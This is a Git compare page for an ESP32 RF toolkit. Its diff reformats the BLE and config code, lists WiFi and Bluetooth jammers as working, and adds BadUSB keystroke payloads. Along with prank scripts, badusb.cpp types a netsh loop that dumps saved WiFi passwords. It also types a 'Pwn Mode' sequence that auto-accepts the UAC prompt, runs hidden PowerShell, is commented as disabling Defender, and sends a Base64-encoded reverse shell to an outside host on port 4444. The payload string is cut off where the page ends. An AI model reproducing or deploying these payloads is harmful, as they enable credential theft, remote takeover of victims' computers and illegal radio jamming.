krolyxon
/
orion-rf
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Compare commits

base: krolyxon:0b8b30d25d9e374cb8814aa652d52d5b74d5171a
Branches Tags
krolyxon:master
..
compare: krolyxon:206ed229198be252a9ae94342b39618aaab55925
Branches Tags
krolyxon:master

2 Commits
0b8b30d25d ... 206ed22919

Author SHA1 Message Date
krolyxon 206ed22919 apply code formatting 2026-05-14 23:14:31 +05:30
krolyxon 3672abc8b4 remove cc1101_2 from device check 2026-05-14 23:12:19 +05:30
16 changed files with 1591 additions and 1830 deletions
Show Stats Expand all files Collapse all files

9
README.md
View File

@ -27,8 +27,11 @@ Orion RF is a portable RF and wireless toolkit built on the ESP32 platform with
## Hardware ## Hardware
- ESP32-S3 N16R8 - ESP32-S3 N16R8
- 2x NRF24L01 - 2x NRF24L01 Module
- 2x CC1101 - 2x CC1101 Module
- PN532 NFC Module
- MicroSD card Module
- TP4056 Charging Module
- OLED display - OLED display
- Battery-powered portable setup - Battery-powered portable setup
@ -43,7 +46,7 @@ Orion RF is a portable RF and wireless toolkit built on the ESP32 platform with
| BLE Mouse | Working | | BLE Mouse | Working |
| BLE Jammer | Working | | BLE Jammer | Working |
| Bluetooth Jammer | Working | | Bluetooth Jammer | Working |
| WiFi Jammer | Experimental | | WiFi Jammer | Working |
| RF Capture | WIP | | RF Capture | WIP |
| RF Replay | WIP | | RF Replay | WIP |
| SD Card Support | Planned | | SD Card Support | Planned |

115
src/bluetooth/ble_mouse.cpp
View File

@ -1,7 +1,7 @@
#include "../config.h"
#include "../hid/badusb.h"
#include <Arduino.h> #include <Arduino.h>
#include <BleMouse.h> #include <BleMouse.h>
#include "../hid/badusb.h"
#include "../config.h"
#include "../utils/buttons.h" #include "../utils/buttons.h"
#include "ui/display.h" #include "ui/display.h"
@ -11,64 +11,63 @@
extern BleMouse bleMouse; extern BleMouse bleMouse;
// ===== MAIN ===== // ===== MAIN =====
void ble_mouse_run() void ble_mouse_run() {
{ u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(10, 25, "BLE Mouse");
u8g2.drawStr(10, 45, "Connecting...");
u8g2.sendBuffer();
delay(800);
while (1) {
// 🔥 EXIT FIRST (clean)
if (btnBack())
break;
bool connected = bleMouse.isConnected();
int dx = 0;
int dy = 0;
if (connected) {
if (!digitalRead(BTN_UP))
dy = -6;
if (!digitalRead(BTN_DOWN))
dy = 6;
if (!digitalRead(BTN_LEFT))
dx = -6;
if (!digitalRead(BTN_RIGHT))
dx = 6;
if (dx || dy)
bleMouse.move(dx, dy);
// ✅ single click (not spam)
static bool lastSelect = false;
bool currentSelect = !digitalRead(BTN_SELECT);
if (currentSelect && !lastSelect)
bleMouse.click(MOUSE_LEFT);
lastSelect = currentSelect;
}
// ===== UI =====
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr); u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(10, 25, "BLE Mouse");
u8g2.drawStr(10, 45, "Connecting..."); u8g2.drawStr(10, 20, "BLE Mouse");
if (connected)
u8g2.drawStr(10, 35, "Connected");
else
u8g2.drawStr(10, 35, "Waiting");
u8g2.drawStr(10, 55, "BACK = Exit");
u8g2.sendBuffer(); u8g2.sendBuffer();
delay(800); delay(10); // important for BLE stability
}
while (1)
{
// 🔥 EXIT FIRST (clean)
if (btnBack()) break;
bool connected = bleMouse.isConnected();
int dx = 0;
int dy = 0;
if (connected)
{
if (!digitalRead(BTN_UP)) dy = -6;
if (!digitalRead(BTN_DOWN)) dy = 6;
if (!digitalRead(BTN_LEFT)) dx = -6;
if (!digitalRead(BTN_RIGHT)) dx = 6;
if (dx || dy)
bleMouse.move(dx, dy);
// ✅ single click (not spam)
static bool lastSelect = false;
bool currentSelect = !digitalRead(BTN_SELECT);
if (currentSelect && !lastSelect)
bleMouse.click(MOUSE_LEFT);
lastSelect = currentSelect;
}
// ===== UI =====
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(10, 20, "BLE Mouse");
if (connected)
u8g2.drawStr(10, 35, "Connected");
else
u8g2.drawStr(10, 35, "Waiting");
u8g2.drawStr(10, 55, "BACK = Exit");
u8g2.sendBuffer();
delay(10); // important for BLE stability
}
} }

301
src/bluetooth/blescanner.cpp
View File

@ -1,20 +1,20 @@
#include <Arduino.h> #include <Arduino.h>
#include <BLEAdvertisedDevice.h>
#include <BLEDevice.h> #include <BLEDevice.h>
#include <BLEScan.h> #include <BLEScan.h>
#include <BLEAdvertisedDevice.h>
#include <vector> #include <vector>
#include "ui/display.h"
#include "../utils/buttons.h"
#include "../config.h" #include "../config.h"
#include "../utils/buttons.h"
#include "ui/display.h"
// ===== DEVICE STRUCT ===== // ===== DEVICE STRUCT =====
struct BLEDeviceInfo { struct BLEDeviceInfo {
String name; String name;
String address; String address;
int rssi; int rssi;
String manufacturer; String manufacturer;
String deviceType; String deviceType;
}; };
static std::vector<BLEDeviceInfo> devices; static std::vector<BLEDeviceInfo> devices;
@ -23,187 +23,168 @@ static int selectedIndex = 0;
// ===== CALLBACK ===== // ===== CALLBACK =====
class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks { class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
void onResult(BLEAdvertisedDevice advertisedDevice) override { void onResult(BLEAdvertisedDevice advertisedDevice) override {
BLEDeviceInfo dev; BLEDeviceInfo dev;
String tempName = advertisedDevice.getName().c_str(); String tempName = advertisedDevice.getName().c_str();
if (tempName.length() == 0 && advertisedDevice.haveServiceData()) { if (tempName.length() == 0 && advertisedDevice.haveServiceData()) {
tempName = advertisedDevice.getServiceData().c_str(); tempName = advertisedDevice.getServiceData().c_str();
}
if (tempName.length() == 0) {
String addr = advertisedDevice.getAddress().toString().c_str();
tempName = "BLE_" + addr.substring(addr.length() - 5);
}
dev.name = tempName;
dev.address = advertisedDevice.getAddress().toString().c_str();
dev.rssi = advertisedDevice.getRSSI();
if (advertisedDevice.haveManufacturerData()) {
String mData = advertisedDevice.getManufacturerData().c_str();
if (mData.length() >= 2) {
char buffer[10];
sprintf(buffer, "0x%02X%02X",
(uint8_t)mData[1],
(uint8_t)mData[0]);
dev.manufacturer = String(buffer);
} else {
dev.manufacturer = "unknown";
}
} else {
dev.manufacturer = "unknown";
}
if (advertisedDevice.haveServiceUUID()) {
dev.deviceType =
advertisedDevice.getServiceUUID().toString().c_str();
} else {
dev.deviceType = "unknown";
}
devices.push_back(dev);
} }
if (tempName.length() == 0) {
String addr = advertisedDevice.getAddress().toString().c_str();
tempName = "BLE_" + addr.substring(addr.length() - 5);
}
dev.name = tempName;
dev.address = advertisedDevice.getAddress().toString().c_str();
dev.rssi = advertisedDevice.getRSSI();
if (advertisedDevice.haveManufacturerData()) {
String mData = advertisedDevice.getManufacturerData().c_str();
if (mData.length() >= 2) {
char buffer[10];
sprintf(buffer, "0x%02X%02X", (uint8_t)mData[1], (uint8_t)mData[0]);
dev.manufacturer = String(buffer);
} else {
dev.manufacturer = "unknown";
}
} else {
dev.manufacturer = "unknown";
}
if (advertisedDevice.haveServiceUUID()) {
dev.deviceType = advertisedDevice.getServiceUUID().toString().c_str();
} else {
dev.deviceType = "unknown";
}
devices.push_back(dev);
}
}; };
// ===== DRAW MENU ===== // ===== DRAW MENU =====
void ble_drawMenu() void ble_drawMenu() {
{ u8g2.clearBuffer();
u8g2.clearBuffer();
if (devices.empty()) if (devices.empty()) {
{ u8g2.setFont(u8g2_font_6x12_tr);
u8g2.setFont(u8g2_font_6x12_tr); u8g2.drawStr(0, 30, "No devices");
u8g2.drawStr(0, 30, "No devices"); u8g2.drawStr(0, 45, "Press BACK");
u8g2.drawStr(0, 45, "Press BACK"); } else {
u8g2.setFont(u8g2_font_5x8_tr);
char counter[20];
sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size());
u8g2.drawStr(0, 8, counter);
u8g2.setFont(u8g2_font_6x10_tr);
for (int i = 0; i < 3; i++) {
int idx = selectedIndex + i;
if (idx >= devices.size())
break;
int y = 22 + i * 14;
if (i == 0) {
u8g2.drawBox(0, y - 10, 128, 12);
u8g2.setDrawColor(0);
}
String text = devices[idx].name;
if (text.length() > 12)
text = text.substring(0, 12) + "..";
text += " (" + String(devices[idx].rssi) + ")";
u8g2.drawStr(2, y, text.c_str());
if (i == 0)
u8g2.setDrawColor(1);
} }
else }
{
u8g2.setFont(u8g2_font_5x8_tr);
char counter[20]; u8g2.sendBuffer();
sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size());
u8g2.drawStr(0, 8, counter);
u8g2.setFont(u8g2_font_6x10_tr);
for (int i = 0; i < 3; i++)
{
int idx = selectedIndex + i;
if (idx >= devices.size()) break;
int y = 22 + i * 14;
if (i == 0)
{
u8g2.drawBox(0, y - 10, 128, 12);
u8g2.setDrawColor(0);
}
String text = devices[idx].name;
if (text.length() > 12)
text = text.substring(0, 12) + "..";
text += " (" + String(devices[idx].rssi) + ")";
u8g2.drawStr(2, y, text.c_str());
if (i == 0)
u8g2.setDrawColor(1);
}
}
u8g2.sendBuffer();
} }
// ===== DEVICE DETAILS ===== // ===== DEVICE DETAILS =====
void ble_drawDetails(const BLEDeviceInfo &dev) void ble_drawDetails(const BLEDeviceInfo &dev) {
{ u8g2.clearBuffer();
u8g2.clearBuffer(); u8g2.setFont(u8g2_font_5x8_tr);
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 10, dev.name.c_str()); u8g2.drawStr(0, 10, dev.name.c_str());
u8g2.drawStr(0, 20, dev.address.c_str()); u8g2.drawStr(0, 20, dev.address.c_str());
char rssiStr[20]; char rssiStr[20];
sprintf(rssiStr, "RSSI: %d", dev.rssi); sprintf(rssiStr, "RSSI: %d", dev.rssi);
u8g2.drawStr(0, 30, rssiStr); u8g2.drawStr(0, 30, rssiStr);
u8g2.drawStr(0, 40, dev.manufacturer.c_str()); u8g2.drawStr(0, 40, dev.manufacturer.c_str());
u8g2.sendBuffer(); u8g2.sendBuffer();
} }
// ===== SCAN ===== // ===== SCAN =====
void ble_scan() void ble_scan() {
{ devices.clear();
devices.clear();
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.drawStr(10, 30, "Scanning..."); u8g2.drawStr(10, 30, "Scanning...");
u8g2.sendBuffer(); u8g2.sendBuffer();
BLEDevice::init(""); BLEDevice::init("");
pBLEScan = BLEDevice::getScan(); pBLEScan = BLEDevice::getScan();
pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), false); pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(),
pBLEScan->setActiveScan(true); false);
pBLEScan->setInterval(100); pBLEScan->setActiveScan(true);
pBLEScan->setWindow(99); pBLEScan->setInterval(100);
pBLEScan->setWindow(99);
pBLEScan->start(5, false); pBLEScan->start(5, false);
// remove duplicates // remove duplicates
std::vector<BLEDeviceInfo> unique; std::vector<BLEDeviceInfo> unique;
for (auto &d : devices) for (auto &d : devices) {
{ bool exists = false;
bool exists = false; for (auto &u : unique) {
for (auto &u : unique) if (u.address == d.address) {
{ exists = true;
if (u.address == d.address) break;
{ }
exists = true;
break;
}
}
if (!exists) unique.push_back(d);
} }
if (!exists)
unique.push_back(d);
}
devices = unique; devices = unique;
} }
// ===== MAIN LOOP ===== // ===== MAIN LOOP =====
void ble_loop() void ble_loop() {
{ static uint32_t lastPress = 0;
static uint32_t lastPress = 0;
if (millis() - lastPress < 200) if (millis() - lastPress < 200)
return; return;
if (btnDown() && selectedIndex < (int)devices.size() - 1) if (btnDown() && selectedIndex < (int)devices.size() - 1) {
{ selectedIndex++;
selectedIndex++; ble_drawMenu();
ble_drawMenu(); lastPress = millis();
lastPress = millis(); } else if (btnUp() && selectedIndex > 0) {
} selectedIndex--;
else if (btnUp() && selectedIndex > 0) ble_drawMenu();
{ lastPress = millis();
selectedIndex--; } else if (btnSelect() && !devices.empty()) {
ble_drawMenu(); ble_drawDetails(devices[selectedIndex]);
lastPress = millis(); delay(3000);
} ble_drawMenu();
else if (btnSelect() && !devices.empty()) lastPress = millis();
{ } else if (btnBack()) {
ble_drawDetails(devices[selectedIndex]); lastPress = millis();
delay(3000); return;
ble_drawMenu(); }
lastPress = millis();
}
else if (btnBack())
{
lastPress = millis();
return;
}
} }

22
src/config.h
View File

@ -18,24 +18,19 @@
/////////////////cc1101 vars////////////// /////////////////cc1101 vars//////////////
// CC1101 via FSPI // CC1101 via FSPI
#define cc1101_SCK 15 #define cc1101_SCK 15
#define cc1101_MISO 3 #define cc1101_MISO 41
#define cc1101_MOSI 35 #define cc1101_MOSI 35
//////////////cc1101(1)////////// //////////////cc1101(1)//////////
#define CC1101_CS 45 #define CC1101_CS 40
#define CC1101_GDO0 21 #define CC1101_GDO0 39
#define CC1101_GDO2 47 #define CC1101_GDO2 42
/////////////cc1101(2)//////////
#define CC1101_2_CS 40
#define CC1101_2_GDO0 41
#define CC1101_2_GDO2 42
// SD Card via HSPI // SD Card via HSPI
#define SD_SCK 14 //#define SD_SCK 14
#define SD_MISO 39 //#define SD_MISO 39
#define SD_MOSI 38 //#define SD_MOSI 38
#define SD_CS 37 //#define SD_CS 37
// =================== Buttons ==================== // =================== Buttons ====================
@ -45,4 +40,3 @@
#define BTN_BACK 7 #define BTN_BACK 7
#define BTN_LEFT 1 #define BTN_LEFT 1
#define BTN_RIGHT 2 #define BTN_RIGHT 2

500
src/hid/badusb.cpp
View File

@ -1,6 +1,6 @@
#include "../ui/display.h"
#include <Arduino.h> #include <Arduino.h>
#include <USBHIDKeyboard.h> #include <USBHIDKeyboard.h>
#include "../ui/display.h"
extern USBHIDKeyboard Keyboard; extern USBHIDKeyboard Keyboard;
@ -56,332 +56,366 @@ void showRunningScreen(String taskName, uint8_t duration = 5) {
} }
} }
void typeSlow(const char *text, int delayMs = 25) void typeSlow(const char *text, int delayMs = 25) {
{ while (*text) {
while (*text) Keyboard.print(*text);
{ delay(delayMs);
Keyboard.print(*text); text++;
delay(delayMs); }
text++;
}
} }
void badUSBMenu(int index) { void badUSBMenu(int index) {
//switch (index) // switch (index)
// { // {
// case 0: // case 0:
// runBadUSBDemo(); // runBadUSBDemo();
// break; // break;
// case 1: // case 1:
// Serial.println("Open CMD payload"); // Serial.println("Open CMD payload");
// runBadUSBOpenCMD(); // runBadUSBOpenCMD();
// break; // break;
// case 2: // case 2:
// Serial.println("Rickroll payload"); // Serial.println("Rickroll payload");
// runBadUSBRickroll(); // runBadUSBRickroll();
// break; // break;
// } // }
switch (index) {
// ================= ORION DEMO =================
case 0:
showRunningScreen("ORION Demo");
switch(index) runCommand("notepad");
{
// ================= ORION DEMO =================
case 0:
showRunningScreen("ORION Demo");
runCommand("notepad"); delay(2500);
delay(2500); typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ ");
Keyboard.write(KEY_RETURN);
typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ "); typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|"); typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ ");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ "); typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| ");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| "); typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | ");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | "); typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| ");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| "); Keyboard.write(KEY_RETURN);
Keyboard.write(KEY_RETURN);
Keyboard.write(KEY_RETURN); typeSlow("[+] WIFI MODULE READY");
Keyboard.write(KEY_RETURN);
typeSlow("[+] WIFI MODULE READY"); typeSlow("[+] BLE MODULE READY");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("[+] BLE MODULE READY"); typeSlow("[+] SUBGHZ MODULE READY");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("[+] SUBGHZ MODULE READY"); typeSlow("[+] NFC MODULE READY");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("[+] NFC MODULE READY"); typeSlow("[+] HID ENGINE READY");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("[+] HID ENGINE READY"); break;
Keyboard.write(KEY_RETURN);
break; // ================= RICKROLL =================
case 1:
showRunningScreen("RickRoll");
// ================= RICKROLL ================= runCommand("cmd");
case 1:
showRunningScreen("RickRoll");
runCommand("cmd"); delay(700);
delay(700); typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
Keyboard.write(KEY_RETURN);
typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ"); break;
Keyboard.write(KEY_RETURN);
break; // ================= MATRIX =================
case 2:
showRunningScreen("Matrix");
// ================= MATRIX ================= runCommand("cmd");
case 2:
showRunningScreen("Matrix");
runCommand("cmd"); delay(700);
delay(700); typeSlow("color 0A");
Keyboard.write(KEY_RETURN);
typeSlow("color 0A"); typeSlow("mode con: cols=120 lines=40");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("mode con: cols=120 lines=40"); typeSlow(":A");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow(":A"); typeSlow("echo %random%%random%%random%%random%%random%");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("echo %random%%random%%random%%random%%random%"); typeSlow("goto A");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("goto A"); break;
Keyboard.write(KEY_RETURN);
break; // ================= FAKE TERMINAL =================
case 3:
showRunningScreen("Fake Terminal");
// ================= FAKE TERMINAL ================= runCommand("cmd");
case 3:
showRunningScreen("Fake Terminal");
runCommand("cmd"); delay(700);
delay(700); typeSlow("color 0A");
Keyboard.write(KEY_RETURN);
typeSlow("color 0A"); typeSlow("cls");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("cls"); typeSlow("echo CONNECTING TO TARGET...");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("echo CONNECTING TO TARGET..."); typeSlow("echo BYPASSING FIREWALL...");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("echo BYPASSING FIREWALL..."); typeSlow("echo ACCESS GRANTED");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("echo ACCESS GRANTED"); typeSlow("systeminfo");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("systeminfo"); break;
Keyboard.write(KEY_RETURN);
break;
// ================= WIFI CRACK ================= // ================= WIFI CRACK =================
// ================= WIFI PASSWORD RECOVERY ================= // ================= WIFI PASSWORD RECOVERY =================
case 4: case 4:
showRunningScreen("WiFi Recovery"); showRunningScreen("WiFi Recovery");
runCommand("cmd"); runCommand("cmd");
delay(700); delay(700);
// Styling the window // Styling the window
typeSlow("color 0A && mode con: cols=100 lines=30"); typeSlow("color 0A && mode con: cols=100 lines=30");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
delay(200); delay(200);
typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES..."); typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES...");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
delay(500); delay(500);
// The "Magic" Command: // The "Magic" Command:
// This lists all profiles and shows the 'Key Content' (the password) in clear text. // This lists all profiles and shows the 'Key Content' (the password) in
// We use a 'for' loop to automate this for every network the PC has ever joined. // clear text. We use a 'for' loop to automate this for every network the PC
typeSlow("for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr /C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" key=clear | findstr /C:\"Key Content\" /C:\"SSID name\""); // has ever joined.
typeSlow(
"for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr "
"/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" "
"key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
// Optional: Keep the window open to read the results // Optional: Keep the window open to read the results
typeSlow("echo. && echo [COMPLETE] Passwords listed above."); typeSlow("echo. && echo [COMPLETE] Passwords listed above.");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; break;
// ================= FAKE UPDATE ================= // ================= FAKE UPDATE =================
case 5: case 5:
showRunningScreen("Fake Update"); showRunningScreen("Fake Update");
runCommand("cmd"); runCommand("cmd");
delay(700); delay(700);
typeSlow("start https://fakeupdate.net/win10u/"); typeSlow("start https://fakeupdate.net/win10u/");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; break;
// ================= FAKE BSOD ================= // ================= FAKE BSOD =================
case 6: case 6:
showRunningScreen("Critical Error"); showRunningScreen("Critical Error");
runCommand("powershell -c \"stop-process -name wininit -force\""); runCommand("powershell -c \"stop-process -name wininit -force\"");
break; break;
// ================= GLITCH SCREEN ================= // ================= GLITCH SCREEN =================
case 7: case 7:
showRunningScreen("Glitch"); showRunningScreen("Glitch");
runCommand("cmd"); runCommand("cmd");
delay(700); delay(700);
for(int i = 0; i < 20; i++) for (int i = 0; i < 20; i++) {
{ typeSlow("color 4F");
typeSlow("color 4F"); Keyboard.write(KEY_RETURN);
Keyboard.write(KEY_RETURN);
typeSlow("color 1F"); typeSlow("color 1F");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("cls"); typeSlow("cls");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
} }
break; break;
// ================= ASCII SPAM ================= // ================= ASCII SPAM =================
case 8: case 8:
showRunningScreen("ASCII"); showRunningScreen("ASCII");
runCommand("notepad"); runCommand("notepad");
delay(2000); delay(2000);
for(int i = 0; i < 15; i++) for (int i = 0; i < 15; i++) {
{ typeSlow("######### ORION-RF #########");
typeSlow("######### ORION-RF #########"); Keyboard.write(KEY_RETURN);
Keyboard.write(KEY_RETURN);
typeSlow(">>> SIGNAL ACQUIRED <<<"); typeSlow(">>> SIGNAL ACQUIRED <<<");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
typeSlow("[|||||||||||||||||||||||||]"); typeSlow("[|||||||||||||||||||||||||]");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
} }
break; break;
// ================= HACKER TYPER ================= // ================= HACKER TYPER =================
case 9: case 9:
showRunningScreen("Hacker Typer"); showRunningScreen("Hacker Typer");
runCommand("cmd"); runCommand("cmd");
delay(700); delay(700);
typeSlow("start https://hackertyper.net/"); typeSlow("start https://hackertyper.net/");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
break; break;
// ================= POWERSHELL REVERSE SHELL ================= // ================= POWERSHELL REVERSE SHELL =================
// ================= DEFENDER BYPASS + NC ================= // ================= DEFENDER BYPASS + NC =================
case 10: case 10:
showRunningScreen("Pwn Mode v2"); showRunningScreen("Pwn Mode v2");
// 1. Open Admin PowerShell // 1. Open Admin PowerShell
Keyboard.press(KEY_LEFT_GUI); Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r'); Keyboard.press('r');
delay(150); delay(150);
Keyboard.releaseAll(); Keyboard.releaseAll();
delay(500); delay(500);
// Open Admin Prompt - using 'powershell' directly to save space // Open Admin Prompt - using 'powershell' directly to save space
typeSlow("powershell Start-Process powershell -Verb runAs"); typeSlow("powershell Start-Process powershell -Verb runAs");
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
delay(2500); // Wait for UAC delay(2500); // Wait for UAC
// 2. Bypass UAC (Left Arrow + Enter) // 2. Bypass UAC (Left Arrow + Enter)
Keyboard.write(KEY_LEFT_ARROW); Keyboard.write(KEY_LEFT_ARROW);
delay(200); delay(200);
Keyboard.write(KEY_RETURN); Keyboard.write(KEY_RETURN);
delay(3000); // Give the Admin window time to load delay(3000); // Give the Admin window time to load
// 3. AMSI Bypass + Disable Defender + Execute Shell // 3. AMSI Bypass + Disable Defender + Execute Shell
// We use -EncodedCommand to hide the script from simple string scanners. // We use -EncodedCommand to hide the script from simple string scanners.
// The Base64 string below contains: // The Base64 string below contains:
// Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic] // Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand "); typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden "
"-EncodedCommand ");
// This is the encoded payload for krolyxon.com:4444 // This is the encoded payload for krolyxon.com:4444
typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgA" typeSlow(
"NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHIAbwBsAHkAeABvAG4A" "JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAG"
"LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQA" "UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0"
"gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEw" "AHIAaQBuAGcAKAAiAEgA"
"AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQAL" "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAb"
"gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJAB" "QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHI"
"kAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK" "AbwBsAHkAeABvAG4A"
"ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAd" "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAG"
"ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQB" "UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5"
"uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaWVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHIAcgBhAHkAKAApACkAKQA="); "AHQAZQBzACAAPQA"
